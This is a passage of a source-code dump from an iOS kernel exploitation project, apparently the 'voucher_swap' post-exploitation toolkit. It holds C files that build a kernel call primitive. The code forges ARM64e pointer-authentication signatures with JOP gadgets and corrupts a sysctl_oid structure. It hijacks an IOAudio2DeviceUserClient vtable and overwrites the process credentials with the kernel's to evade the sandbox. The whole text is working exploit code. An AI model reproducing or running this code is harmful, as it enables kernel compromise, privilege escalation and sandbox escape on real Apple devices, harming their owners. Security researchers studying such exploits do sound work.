30 |
31 | // A helper macro for INIT_VTABLE_PAC_CODES().
32 | #define VTABLE_PAC_CODES_DATA(class_) _##class_##__vtable_pac_codes_data_
33 |
34 | // Initialize a list of vtable PAC codes. In order to store the PAC code array in constant memory,
35 | // we place it in a static variable. Consequently, this macro will produce name conflicts if used
36 | // outside a function.
37 | #define INIT_VTABLE_PAC_CODES(class_, ...) \
38 | static const uint16_t VTABLE_PAC_CODES_DATA(class_)[] = { __VA_ARGS__ }; \
39 | VTABLE_PAC_CODES(class_) = (struct vtable_pac_codes) { \
40 | .count = sizeof(VTABLE_PAC_CODES_DATA(class_)) / sizeof(uint16_t), \
41 | .codes = (const uint16_t *) VTABLE_PAC_CODES_DATA(class_), \
42 | }
43 |
44 | extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_start);
45 | extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_stop);
46 | extern uint64_t ADDRESS(l2tp_domain_inited);
47 | extern uint64_t ADDRESS(sysctl__net_ppp_l2tp);
48 | extern uint64_t ADDRESS(sysctl_unregister_oid);
49 | extern uint64_t ADDRESS(mov_x0_x4__br_x5);
50 | extern uint64_t ADDRESS(mov_x9_x0__br_x1);
51 | extern uint64_t ADDRESS(mov_x10_x3__br_x6);
52 | extern uint64_t ADDRESS(kernel_forge_pacia_gadget);
53 | extern uint64_t ADDRESS(kernel_forge_pacda_gadget);
54 | extern uint64_t ADDRESS(IOUserClient__vtable);
55 | extern uint64_t ADDRESS(IORegistryEntry__getRegistryEntryID);
56 |
57 | extern size_t SIZE(kernel_forge_pacxa_gadget_buffer);
58 | extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, first_access);
59 | extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result);
60 | extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result);
61 |
62 | extern struct vtable_pac_codes VTABLE_PAC_CODES(IOAudio2DeviceUserClient);
63 |
64 | // Parameters for IOAudio2DeviceUserClient.
65 | extern size_t OFFSET(IOAudio2DeviceUserClient, traps);
66 |
67 | // Parameters for IOExternalTrap.
68 | extern size_t SIZE(IOExternalTrap);
69 | extern size_t OFFSET(IOExternalTrap, object);
70 | extern size_t OFFSET(IOExternalTrap, function);
71 | extern size_t OFFSET(IOExternalTrap, offset);
72 |
73 | // Parameters for IORegistryEntry.
74 | extern size_t OFFSET(IORegistryEntry, reserved);
75 | extern size_t OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID);
76 |
77 | // Parameters for IOUserClient.
78 | extern uint32_t VTABLE_INDEX(IOUserClient, getExternalTrapForIndex);
79 | extern uint32_t VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex);
80 |
81 | /*
82 | * kernel_call_parameters_init
83 | *
84 | * Description:
85 | * Initialize the addresses used in the kernel_call subsystem.
86 | */
87 | bool kernel_call_parameters_init(void);
88 |
89 | #undef extern
90 |
91 | #endif
92 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/kernel_call/pac.c:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call/pac.c
3 | * Brandon Azad
4 | */
5 | #include "pac.h"
6 |
7 | #include "kernel_call.h"
8 | #include "kc_parameters.h"
9 | #include "user_client.h"
10 | #include "kernel_memory.h"
11 | #include "log.h"
12 | #include "mach_vm.h"
13 | #include "parameters.h"
14 |
15 | #if __arm64e__
16 |
17 | // ---- Global variables --------------------------------------------------------------------------
18 |
19 | // The address of our kernel buffer.
20 | static uint64_t kernel_pacxa_buffer;
21 |
22 | // The forged value PACIZA('mov x0, x4 ; br x5').
23 | static uint64_t paciza__mov_x0_x4__br_x5;
24 |
25 | // ---- Stage 2 -----------------------------------------------------------------------------------
26 |
27 | /*
28 | * stage1_kernel_call_7
29 | *
30 | * Description:
31 | * Call a kernel function using our stage 1 execute primitive with explicit registers.
32 | *
33 | * See stage1_kernel_call_7v.
34 | */
35 | static uint32_t
36 | stage1_kernel_call_7(uint64_t function, uint64_t x1, uint64_t x2, uint64_t x3,
37 | uint64_t x4, uint64_t x5, uint64_t x6) {
38 | uint64_t arguments[7] = { 1, x1, x2, x3, x4, x5, x6 };
39 | return stage1_kernel_call_7v(function, 7, arguments);
40 | }
41 |
42 | /*
43 | * stage1_init_kernel_pacxa_forging
44 | *
45 | * Description:
46 | * Initialize our stage 1 capability to forge PACIA and PACDA pointers.
47 | */
48 | static void
49 | stage1_init_kernel_pacxa_forging() {
50 | // Get the authorized pointers to l2tp_domain_module_start() and l2tp_domain_module_stop().
51 | // Because these values already contain the PACIZA code, we can call them with the stage 0
52 | // call primitive to start/stop the module.
53 | uint64_t paciza__l2tp_domain_module_start = kernel_read64(
54 | ADDRESS(paciza_pointer__l2tp_domain_module_start));
55 | uint64_t paciza__l2tp_domain_module_stop = kernel_read64(
56 | ADDRESS(paciza_pointer__l2tp_domain_module_stop));
57 |
58 | // Read out the original value of sysctl__net_ppp_l2tp__data.
59 | uint8_t sysctl__net_ppp_l2tp__data[SIZE(sysctl_oid)];
60 | kernel_read(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid));
61 |
62 | // Create a fake sysctl_oid for sysctl_unregister_oid(). We craft this sysctl_oid such that
63 | // sysctl_unregister_oid() will execute the following instruction sequence:
64 | //
65 | // LDR X10, [X9,#0x30]! ; X10 = old_oidp->oid_handler
66 | // CBNZ X19, loc_FFFFFFF007EBD330
67 | // CBZ X10, loc_FFFFFFF007EBD330
68 | // MOV X19, #0
69 | // MOV X11, X9 ; X11 = &old_oidp->oid_handler
70 | // MOVK X11, #0x14EF,LSL#48 ; X11 = 14EF`&oid_handler
71 | // AUTIA X10, X11 ; X10 = AUTIA(handler, 14EF`&handler)
72 | // PACIZA X10 ; X10 = PACIZA(X10)
73 | // STR X10, [X9] ; old_oidp->oid_handler = X10
74 | //
75 | uint8_t fake_sysctl_oid[SIZE(sysctl_oid)];
76 | memset(fake_sysctl_oid, 0xab, SIZE(sysctl_oid));
77 | FIELD(fake_sysctl_oid, sysctl_oid, oid_parent, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_link);
78 | FIELD(fake_sysctl_oid, sysctl_oid, oid_link, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp);
79 | FIELD(fake_sysctl_oid, sysctl_oid, oid_kind, uint32_t) = 0x400000;
80 | FIELD(fake_sysctl_oid, sysctl_oid, oid_handler, uint64_t) = ADDRESS(mov_x0_x4__br_x5);
81 | FIELD(fake_sysctl_oid, sysctl_oid, oid_version, uint32_t) = 1;
82 | FIELD(fake_sysctl_oid, sysctl_oid, oid_refcnt, uint32_t) = 0;
83 |
84 | // Overwrite sysctl__net_ppp_l2tp with our fake sysctl_oid.
85 | kernel_write(ADDRESS(sysctl__net_ppp_l2tp), fake_sysctl_oid, SIZE(sysctl_oid));
86 |
87 | // Call l2tp_domain_module_stop() to trigger sysctl_unregister_oid() on our fake
88 | // sysctl_oid, which will PACIZA our pointer to the "mov x0, x4 ; br x5" gadget.
89 | __unused uint32_t ret;
90 | ret = stage1_kernel_call_7(
91 | paciza__l2tp_domain_module_stop, // PC
92 | 0, 0, 0, 0, 0, 0); // X1 - X6
93 | DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d",
94 | "l2tp_domain_module_stop", ret,
95 | kernel_read32(ADDRESS(l2tp_domain_inited)));
96 |
97 | // Read back the PACIZA'd pointer to the 'mov x0, x4 ; br x5' gadget. This pointer will not
98 | // be exactly correct, since it PACIZA'd an AUTIA'd pointer we didn't sign. But we can use
99 | // this value to reconstruct the correct PACIZA'd pointer.
100 | uint64_t handler = kernel_read64(
101 | ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_handler));
102 | paciza__mov_x0_x4__br_x5 = handler ^ (1uLL << (63 - 1));
103 | DEBUG_TRACE(1, "PACIZA(%s) = 0x%016llx", "'mov x0, x4 ; br x5'", paciza__mov_x0_x4__br_x5);
104 |
105 | // Now write back the original sysctl_oid and call sysctl_unregister_oid() to clean it up.
106 | kernel_write(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid));
107 | ret = stage1_kernel_call_7(
108 | paciza__mov_x0_x4__br_x5, // PC
109 | 0, 0, 0, // X1 - X3
110 | ADDRESS(sysctl__net_ppp_l2tp), // X4
111 | ADDRESS(sysctl_unregister_oid), // X5
112 | 0); // X6
113 | DEBUG_TRACE(2, "%s(%016llx) = 0x%08x", "sysctl_unregister_oid",
114 | ADDRESS(sysctl__net_ppp_l2tp), ret);
115 |
116 | // And finally call l2tp_domain_module_start() to re-initialize the module.
117 | ret = stage1_kernel_call_7(
118 | paciza__l2tp_domain_module_start, // PC
119 | 0, 0, 0, 0, 0, 0); // X1 - X6
120 | DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d",
121 | "l2tp_domain_module_start", ret,
122 | kernel_read32(ADDRESS(l2tp_domain_inited)));
123 |
124 | // Alright, so now we have an arbitrary call gadget!
125 | kernel_pacxa_buffer = stage1_get_kernel_buffer();
126 | }
127 |
128 | // ---- Stage 2 -----------------------------------------------------------------------------------
129 |
130 | /*
131 | * stage2_kernel_forge_pacxa
132 | *
133 | * Description:
134 | * Forge a PACIA or PACDA pointer using the kernel forging gadgets.
135 | */
136 | static uint64_t
137 | stage2_kernel_forge_pacxa(uint64_t address, uint64_t context, bool instruction) {
138 | const size_t pacxa_buffer_size = SIZE(kernel_forge_pacxa_gadget_buffer);
139 | const size_t pacxa_buffer_offset = OFFSET(kernel_forge_pacxa_gadget_buffer, first_access);
140 | // Initialize the kernel_pacxa_buffer to be all zeros.
141 | uint8_t pacxa_buffer[pacxa_buffer_size - pacxa_buffer_offset];
142 | memset(pacxa_buffer, 0, sizeof(pacxa_buffer));
143 | kernel_write(kernel_pacxa_buffer, pacxa_buffer, sizeof(pacxa_buffer));
144 | // The buffer address we pass to the gadget is offset from the part of that we initialize
145 | // (to save us some space). The result is stored at different offsets in the buffer
146 | // depending on whether the operation is PACIA or PACDA.
147 | uint64_t buffer_address = kernel_pacxa_buffer - pacxa_buffer_offset;
148 | uint64_t result_address = buffer_address;
149 | uint64_t pacxa_gadget;
150 | if (instruction) {
151 | result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result);
152 | pacxa_gadget = ADDRESS(kernel_forge_pacia_gadget);
153 | } else {
154 | result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result);
155 | pacxa_gadget = ADDRESS(kernel_forge_pacda_gadget);
156 | }
157 | // We need to set:
158 | //
159 | // x2 = buffer_address
160 | // x9 = address
161 | // x10 = context
162 | //
163 | // In order to do that we'll execute the following JOP sequence before jumping to the
164 | // gadget:
165 | //
166 | // mov x0, x4 ; br x5
167 | // mov x9, x0 ; br x1
168 | // mov x10, x3 ; br x6
169 | //
170 | __unused uint32_t ret;
171 | ret = stage1_kernel_call_7(
172 | paciza__mov_x0_x4__br_x5, // PC
173 | ADDRESS(mov_x10_x3__br_x6), // X1
174 | buffer_address, // X2
175 | context, // X3
176 | address, // X4
177 | ADDRESS(mov_x9_x0__br_x1), // X5
178 | pacxa_gadget); // X6
179 | DEBUG_TRACE(2, "%s_GADGET(): 0x%08x", (instruction ? "PACIA" : "PACDA"), ret);
180 | // Now recover the PACXA'd value.
181 | uint64_t pacxa = kernel_read64(result_address);
182 | return pacxa;
183 | }
184 |
185 | /*
186 | * xpaci
187 | *
188 | * Description:
189 | * Strip a PACIx code from a pointer.
190 | */
191 | static uint64_t
192 | xpaci(uint64_t pointer) {
193 | asm("xpaci %[value]\n" : [value] "+r"(pointer));
194 | return pointer;
195 | }
196 |
197 | /*
198 | * xpacd
199 | *
200 | * Description:
201 | * Strip a PACDx code from a pointer.
202 | */
203 | static uint64_t
204 | xpacd(uint64_t pointer) {
205 | asm("xpacd %[value]\n" : [value] "+r"(pointer));
206 | return pointer;
207 | }
208 |
209 | #endif // __arm64e__
210 |
211 | // ---- API ---------------------------------------------------------------------------------------
212 |
213 | bool
214 | stage2_kernel_call_init() {
215 | #if __arm64e__
216 | stage1_init_kernel_pacxa_forging();
217 | #endif
218 | return true;
219 | }
220 |
221 | void
222 | stage2_kernel_call_deinit() {
223 | }
224 |
225 | uint32_t
226 | stage2_kernel_call_7v(uint64_t function,
227 | size_t argument_count, const uint64_t arguments[]) {
228 | uint64_t paciza_function = kernel_forge_pacia(function, 0);
229 | return stage1_kernel_call_7v(paciza_function, argument_count, arguments);
230 | }
231 |
232 | uint64_t
233 | kernel_forge_pacia(uint64_t pointer, uint64_t context) {
234 | #if __arm64e__
235 | return stage2_kernel_forge_pacxa(pointer, context, true);
236 | #else
237 | return pointer;
238 | #endif
239 | }
240 |
241 | uint64_t
242 | kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type) {
243 | uint64_t context = ((uint64_t) type << 48) | (address & 0x0000ffffffffffff);
244 | return kernel_forge_pacia(pointer, context);
245 | }
246 |
247 | uint64_t
248 | kernel_forge_pacda(uint64_t pointer, uint64_t context) {
249 | #if __arm64e__
250 | return stage2_kernel_forge_pacxa(pointer, context, false);
251 | #else
252 | return pointer;
253 | #endif
254 | }
255 |
256 | uint64_t
257 | kernel_xpaci(uint64_t pointer) {
258 | #if __arm64e__
259 | return xpaci(pointer);
260 | #else
261 | return pointer;
262 | #endif
263 | }
264 |
265 | uint64_t
266 | kernel_xpacd(uint64_t pointer) {
267 | #if __arm64e__
268 | return xpacd(pointer);
269 | #else
270 | return pointer;
271 | #endif
272 | }
273 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/kernel_call/pac.h:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call/pac.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__KERNEL_CALL__PAC_H_
6 | #define VOUCHER_SWAP__KERNEL_CALL__PAC_H_
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | /*
13 | * stage2_kernel_call_init
14 | *
15 | * Description:
16 | * Initialize stage 2 of kernel function calling.
17 | *
18 | * Initializes:
19 | * stage2_kernel_call_7v()
20 | * kernel_forge_pacia()
21 | * kernel_forge_pacia_with_type()
22 | * kernel_forge_pacda()
23 | */
24 | bool stage2_kernel_call_init(void);
25 |
26 | /*
27 | * stage2_kernel_call_deinit
28 | *
29 | * Description:
30 | * Deinitialize stage 2 of kernel function calling.
31 | */
32 | void stage2_kernel_call_deinit(void);
33 |
34 | /*
35 | * stage2_kernel_call_7v
36 | *
37 | * Description:
38 | * Call a kernel function using our stage 2 execute primitive.
39 | *
40 | * Restrictions:
41 | * At most 7 arguments can be passed.
42 | * The return value is truncated to 32 bits.
43 | * At stage 2, only arguments X1 - X6 are controlled.
44 | */
45 | uint32_t stage2_kernel_call_7v(uint64_t function,
46 | size_t argument_count, const uint64_t arguments[]);
47 |
48 | #endif
49 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/kernel_call/user_client.c:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call/user_client.c
3 | * Brandon Azad
4 | */
5 | #include "user_client.h"
6 |
7 | #include
8 |
9 | #include "IOKitLib.h"
10 | #include "kernel_call.h"
11 | #include "kc_parameters.h"
12 | #include "pac.h"
13 | #include "kernel_memory.h"
14 | #include "log.h"
15 | #include "mach_vm.h"
16 | #include "parameters.h"
17 |
18 | // ---- Global variables --------------------------------------------------------------------------
19 |
20 | // The connection to the user client.
21 | static io_connect_t connection;
22 |
23 | // The address of the user client.
24 | static uint64_t user_client;
25 |
26 | // The address of the IOExternalTrap.
27 | static uint64_t trap;
28 |
29 | // The size of our kernel buffer.
30 | static const size_t kernel_buffer_size = 0x4000;
31 |
32 | // The address of our kernel buffer.
33 | static uint64_t kernel_buffer;
34 |
35 | // The maximum size of the vtable.
36 | static const size_t max_vtable_size = 0x1000;
37 |
38 | // The user client's original vtable pointer.
39 | static uint64_t original_vtable;
40 |
41 | // ---- Stage 1 -----------------------------------------------------------------------------------
42 |
43 | /*
44 | * kernel_get_proc_for_task
45 | *
46 | * Description:
47 | * Get the proc struct for a task.
48 | */
49 | static uint64_t
50 | kernel_get_proc_for_task(uint64_t task) {
51 | return kernel_read64(task + OFFSET(task, bsd_info));
52 | }
53 |
54 | /*
55 | * assume_kernel_credentials
56 | *
57 | * Description:
58 | * Set this process's credentials to the kernel's credentials so that we can bypass sandbox
59 | * checks.
60 | */
61 | void
62 | assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred) {
63 | uint64_t proc_self = kernel_get_proc_for_task(current_task);
64 | uint64_t kernel_proc = kernel_get_proc_for_task(kernel_task);
65 | uint64_t proc_self_ucred_field = proc_self + OFFSET(proc, p_ucred);
66 | uint64_t kernel_proc_ucred_field = kernel_proc + OFFSET(proc, p_ucred);
67 | uint64_t proc_self_ucred = kernel_read64(proc_self_ucred_field);
68 | uint64_t kernel_proc_ucred = kernel_read64(kernel_proc_ucred_field);
69 | kernel_write64(proc_self_ucred_field, kernel_proc_ucred);
70 | *ucred_field = proc_self_ucred_field;
71 | *ucred = proc_self_ucred;
72 | DEBUG_TRACE(1, "UID: %i", getuid());
73 | }
74 |
75 | /*
76 | * restore_credentials
77 | *
78 | * Description:
79 | * Restore this process's credentials after calling assume_kernel_credentials().
80 | */
81 | void
82 | restore_credentials(uint64_t ucred_field, uint64_t ucred) {
83 | kernel_write64(ucred_field, ucred);
84 | }
85 |
86 | /*
87 | * stage0_create_user_client
88 | *
89 | * Description:
90 | * Create a connection to an IOAudio2DeviceUserClient object.
91 | */
92 | static bool
93 | stage0_create_user_client() {
94 | bool success = false;
95 | // First get a handle to some IOAudio2Device driver.
96 | io_iterator_t iter;
97 | kern_return_t kr = IOServiceGetMatchingServices(
98 | kIOMasterPortDefault,
99 | IOServiceMatching("IOAudio2Device"),
100 | &iter);
101 | if (iter == MACH_PORT_NULL) {
102 | ERROR("could not find services matching %s", "IOAudio2Device");
103 | goto fail_0;
104 | }
105 | // Assume the kernel's credentials in order to look up the user client. Otherwise we'd be
106 | // denied with a sandbox error.
107 | uint64_t ucred_field, ucred;
108 | assume_kernel_credentials(&ucred_field, &ucred);
109 | // Now try to open each service in turn.
110 | for (;;) {
111 | // Get the service.
112 | mach_port_t IOAudio2Device = IOIteratorNext(iter);
113 | if (IOAudio2Device == MACH_PORT_NULL) {
114 | ERROR("could not open any %s", "IOAudio2Device");
115 | break;
116 | }
117 | // Now open a connection to it.
118 | kr = IOServiceOpen(
119 | IOAudio2Device,
120 | mach_task_self(),
121 | 0,
122 | &connection);
123 | IOObjectRelease(IOAudio2Device);
124 | if (kr == KERN_SUCCESS) {
125 | success = true;
126 | break;
127 | }
128 | DEBUG_TRACE(1, "%s returned 0x%x: %s", "IOServiceOpen", kr, mach_error_string(kr));
129 | DEBUG_TRACE(1, "could not open %s", "IOAudio2DeviceUserClient");
130 | }
131 | // Restore the credentials.
132 | restore_credentials(ucred_field, ucred);
133 | fail_1:
134 | IOObjectRelease(iter);
135 | fail_0:
136 | return success;
137 | }
138 |
139 | /*
140 | * stage0_find_user_client_trap
141 | *
142 | * Description:
143 | * Get the address of the IOAudio2DeviceUserClient and its IOExternalTrap.
144 | */
145 | static void
146 | stage0_find_user_client_trap() {
147 | assert(MACH_PORT_VALID(connection));
148 | // Get the address of the port representing the IOAudio2DeviceUserClient.
149 | uint64_t user_client_port;
150 | bool ok = kernel_ipc_port_lookup(current_task, connection, &user_client_port, NULL);
151 | assert(ok);
152 | // Get the address of the IOAudio2DeviceUserClient.
153 | user_client = kernel_read64(user_client_port + OFFSET(ipc_port, ip_kobject));
154 | // Get the address of the IOExternalTrap.
155 | trap = kernel_read64(user_client + OFFSET(IOAudio2DeviceUserClient, traps));
156 | DEBUG_TRACE(2, "%s is at 0x%016llx", "IOExternalTrap", trap);
157 | }
158 |
159 | /*
160 | * stage0_allocate_kernel_buffer
161 | *
162 | * Description:
163 | * Allocate a buffer in kernel memory.
164 | */
165 | static bool
166 | stage0_allocate_kernel_buffer() {
167 | kern_return_t kr = mach_vm_allocate(kernel_task_port, &kernel_buffer,
168 | kernel_buffer_size, VM_FLAGS_ANYWHERE);
169 | if (kr != KERN_SUCCESS) {
170 | ERROR("%s returned %d: %s", "mach_vm_allocate", kr, mach_error_string(kr));
171 | ERROR("could not allocate kernel buffer");
172 | return false;
173 | }
174 | DEBUG_TRACE(1, "allocated kernel buffer at 0x%016llx", kernel_buffer);
175 | return true;
176 | }
177 |
178 | // ---- Stage 3 -----------------------------------------------------------------------------------
179 |
180 | /*
181 | * kernel_read_vtable_method
182 | *
183 | * Description:
184 | * Read the virtual method pointer at the specified index in the vtable.
185 | */
186 | static uint64_t
187 | kernel_read_vtable_method(uint64_t vtable, size_t index) {
188 | uint64_t vmethod_address = vtable + index * sizeof(uint64_t);
189 | return kernel_read64(vmethod_address);
190 | }
191 |
192 | /*
193 | * stage2_copyout_user_client_vtable
194 | *
195 | * Description:
196 | * Copy out the user client's vtable to userspace. The returned array must be freed when no
197 | * longer needed.
198 | */
199 | static uint64_t *
200 | stage2_copyout_user_client_vtable() {
201 | // Get the address of the vtable.
202 | original_vtable = kernel_read64(user_client);
203 | uint64_t original_vtable_xpac = kernel_xpacd(original_vtable);
204 | // Read the contents of the vtable to local buffer.
205 | uint64_t *vtable_contents = malloc(max_vtable_size);
206 | assert(vtable_contents != NULL);
207 | kernel_read(original_vtable_xpac, vtable_contents, max_vtable_size);
208 | return vtable_contents;
209 | }
210 |
211 | /*
212 | * stage2_patch_user_client_vtable
213 | *
214 | * Description:
215 | * Patch the contents of the user client's vtable in preparation for stage 3.
216 | */
217 | static size_t
218 | stage2_patch_user_client_vtable(uint64_t *vtable) {
219 | // Replace the original vtable's IOUserClient::getTargetAndTrapForIndex() method with the
220 | // original version (which calls IOUserClient::getExternalTrapForIndex()).
221 | uint64_t IOUserClient__getTargetAndTrapForIndex = kernel_read_vtable_method(
222 | ADDRESS(IOUserClient__vtable),
223 | VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex));
224 | vtable[VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex)]
225 | = IOUserClient__getTargetAndTrapForIndex;
226 | // Replace the original vtable's IOUserClient::getExternalTrapForIndex() method with
227 | // IORegistryEntry::getRegistryEntryID().
228 | vtable[VTABLE_INDEX(IOUserClient, getExternalTrapForIndex)] =
229 | ADDRESS(IORegistryEntry__getRegistryEntryID);
230 | // Forge the pacia pointers to the virtual methods.
231 | size_t count = 0;
232 | for (; count < max_vtable_size / sizeof(*vtable); count++) {
233 | uint64_t vmethod = vtable[count];
234 | if (vmethod == 0) {
235 | break;
236 | }
237 | #if __arm64e__
238 | assert(count < VTABLE_PAC_CODES(IOAudio2DeviceUserClient).count);
239 | vmethod = kernel_xpaci(vmethod);
240 | uint64_t vmethod_address = kernel_buffer + count * sizeof(*vtable);
241 | vtable[count] = kernel_forge_pacia_with_type(vmethod, vmethod_address,
242 | VTABLE_PAC_CODES(IOAudio2DeviceUserClient).codes[count]);
243 | #endif // __arm64e__
244 | }
245 | return count;
246 | }
247 |
248 | /*
249 | * stage2_patch_user_client
250 | *
251 | * Description:
252 | * Patch the user client in preparation for stage 3.
253 | */
254 | static void
255 | stage2_patch_user_client(uint64_t *vtable, size_t count) {
256 | // Write the vtable to the kernel buffer.
257 | kernel_write(kernel_buffer, vtable, count * sizeof(*vtable));
258 | // Overwrite the user client's registry entry ID to point to the IOExternalTrap.
259 | uint64_t reserved_field = user_client + OFFSET(IORegistryEntry, reserved);
260 | uint64_t reserved = kernel_read64(reserved_field);
261 | uint64_t id_field = reserved + OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID);
262 | kernel_write64(id_field, trap);
263 | // Forge the pacdza pointer to the vtable.
264 | uint64_t vtable_pointer = kernel_forge_pacda(kernel_buffer, 0);
265 | // Overwrite the user client's vtable pointer with the forged pointer to our fake vtable.
266 | kernel_write64(user_client, vtable_pointer);
267 | }
268 |
269 | /*
270 | * stage2_unpatch_user_client
271 | *
272 | * Description:
273 | * Undo the patches to the user client.
274 | */
275 | static void
276 | stage2_unpatch_user_client() {
277 | // Write the original vtable pointer back to the user client.
278 | kernel_write64(user_client, original_vtable);
279 | }
280 |
281 | // ---- API ---------------------------------------------------------------------------------------
282 |
283 | bool
284 | stage1_kernel_call_init() {
285 | // Initialize the parameters. We do this first to fail early.
286 | bool ok = kernel_call_parameters_init();
287 | if (!ok) {
288 | return false;
289 | }
290 | // Create the IOAudio2DeviceUserClient.
291 | ok = stage0_create_user_client();
292 | if (!ok) {
293 | ERROR("could not create %s", "IOAudio2DeviceUserClient");
294 | return false;
295 | }
296 | // Find the IOAudio2DeviceUserClient's IOExternalTrap.
297 | stage0_find_user_client_trap();
298 | // Allocate the kernel buffer.
299 | ok = stage0_allocate_kernel_buffer();
300 | if (!ok) {
301 | return false;
302 | }
303 | return true;
304 | }
305 |
306 | void
307 | stage1_kernel_call_deinit() {
308 | if (trap != 0) {
309 | // Zero out the trap.
310 | uint8_t trap_data[SIZE(IOExternalTrap)];
311 | memset(trap_data, 0, SIZE(IOExternalTrap));
312 | kernel_write(trap, trap_data, SIZE(IOExternalTrap));
313 | trap = 0;
314 | }
315 | if (kernel_buffer != 0) {
316 | // Deallocate our kernel buffer.
317 | mach_vm_deallocate(mach_task_self(), kernel_buffer, kernel_buffer_size);
318 | kernel_buffer = 0;
319 | }
320 | if (MACH_PORT_VALID(connection)) {
321 | // Close the connection.
322 | IOServiceClose(connection);
323 | connection = MACH_PORT_NULL;
324 | }
325 | }
326 |
327 | uint64_t
328 | stage1_get_kernel_buffer() {
329 | assert(kernel_buffer_size >= 0x2000);
330 | return kernel_buffer + kernel_buffer_size - 0x1000;
331 | }
332 |
333 | uint32_t
334 | stage1_kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) {
335 | assert(function != 0);
336 | assert(argument_count <= 7);
337 | assert(argument_count == 0 || arguments[0] != 0);
338 | assert(MACH_PORT_VALID(connection) && trap != 0);
339 | // Get exactly 7 arguments. Initialize args[0] to 1 in case there are no arguments.
340 | uint64_t args[7] = { 1 };
341 | for (size_t i = 0; i < argument_count && i < 7; i++) {
342 | args[i] = arguments[i];
343 | }
344 | // Initialize the IOExternalTrap for this call.
345 | uint8_t trap_data[SIZE(IOExternalTrap)];
346 | FIELD(trap_data, IOExternalTrap, object, uint64_t) = args[0];
347 | FIELD(trap_data, IOExternalTrap, function, uint64_t) = function;
348 | FIELD(trap_data, IOExternalTrap, offset, uint64_t) = 0;
349 | kernel_write(trap, trap_data, SIZE(IOExternalTrap));
350 | // Perform the function call.
351 | uint32_t result = IOConnectTrap6(connection, 0,
352 | args[1], args[2], args[3], args[4], args[5], args[6]);
353 | return result;
354 | }
355 |
356 | bool
357 | stage3_kernel_call_init() {
358 | uint64_t *vtable = stage2_copyout_user_client_vtable();
359 | size_t count = stage2_patch_user_client_vtable(vtable);
360 | stage2_patch_user_client(vtable, count);
361 | free(vtable);
362 | return true;
363 | }
364 |
365 | void
366 | stage3_kernel_call_deinit() {
367 | if (original_vtable != 0) {
368 | stage2_unpatch_user_client();
369 | original_vtable = 0;
370 | }
371 | }
372 |
373 | uint32_t
374 | kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) {
375 | return stage2_kernel_call_7v(function, argument_count, arguments);
376 | }
377 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/kernel_call/user_client.h:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call/user_client.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_
6 | #define VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | /*
13 | * stage1_kernel_call_init
14 | *
15 | * Description:
16 | * Initialize stage 1 of kernel function calling.
17 | *
18 | * Initializes:
19 | * kernel_call_parameters_init()
20 | * stage1_kernel_call_7v()
21 | */
22 | bool stage1_kernel_call_init(void);
23 |
24 | /*
25 | * stage1_kernel_call_deinit
26 | *
27 | * Description:
28 | * Deinitialize stage 1 of kernel function calling.
29 | */
30 | void stage1_kernel_call_deinit(void);
31 |
32 | /*
33 | * stage1_get_kernel_buffer
34 | *
35 | * Description:
36 | * Get the address of a 0x1000-byte scratch space in kernel memory that can be used by other
37 | * stages.
38 | */
39 | uint64_t stage1_get_kernel_buffer(void);
40 |
41 | /*
42 | * stage1_kernel_call_7v
43 | *
44 | * Description:
45 | * Call a kernel function using our stage 1 execute primitive.
46 | *
47 | * Restrictions:
48 | * At most 7 arguments can be passed.
49 | * The return value is truncated to 32 bits.
50 | * At stage 1, only arguments X1 - X6 are controlled.
51 | * The function pointer must already have a PAC signature.
52 | */
53 | uint32_t stage1_kernel_call_7v(uint64_t function,
54 | size_t argument_count, const uint64_t arguments[]);
55 |
56 | /*
57 | * stage3_kernel_call_init
58 | *
59 | * Description:
60 | * Initialize stage 3 of kernel function calling.
61 | *
62 | * Initializes:
63 | * kernel_call_7v()
64 | */
65 | bool stage3_kernel_call_init(void);
66 |
67 | /*
68 | * stage3_kernel_call_deinit
69 | *
70 | * Description:
71 | * Deinitialize stage 3 of kernel function calling.
72 | */
73 | void stage3_kernel_call_deinit(void);
74 |
75 | void assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred);
76 | void restore_credentials(uint64_t, uint64_t);
77 |
78 | #endif
79 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/kernel_memory.c:
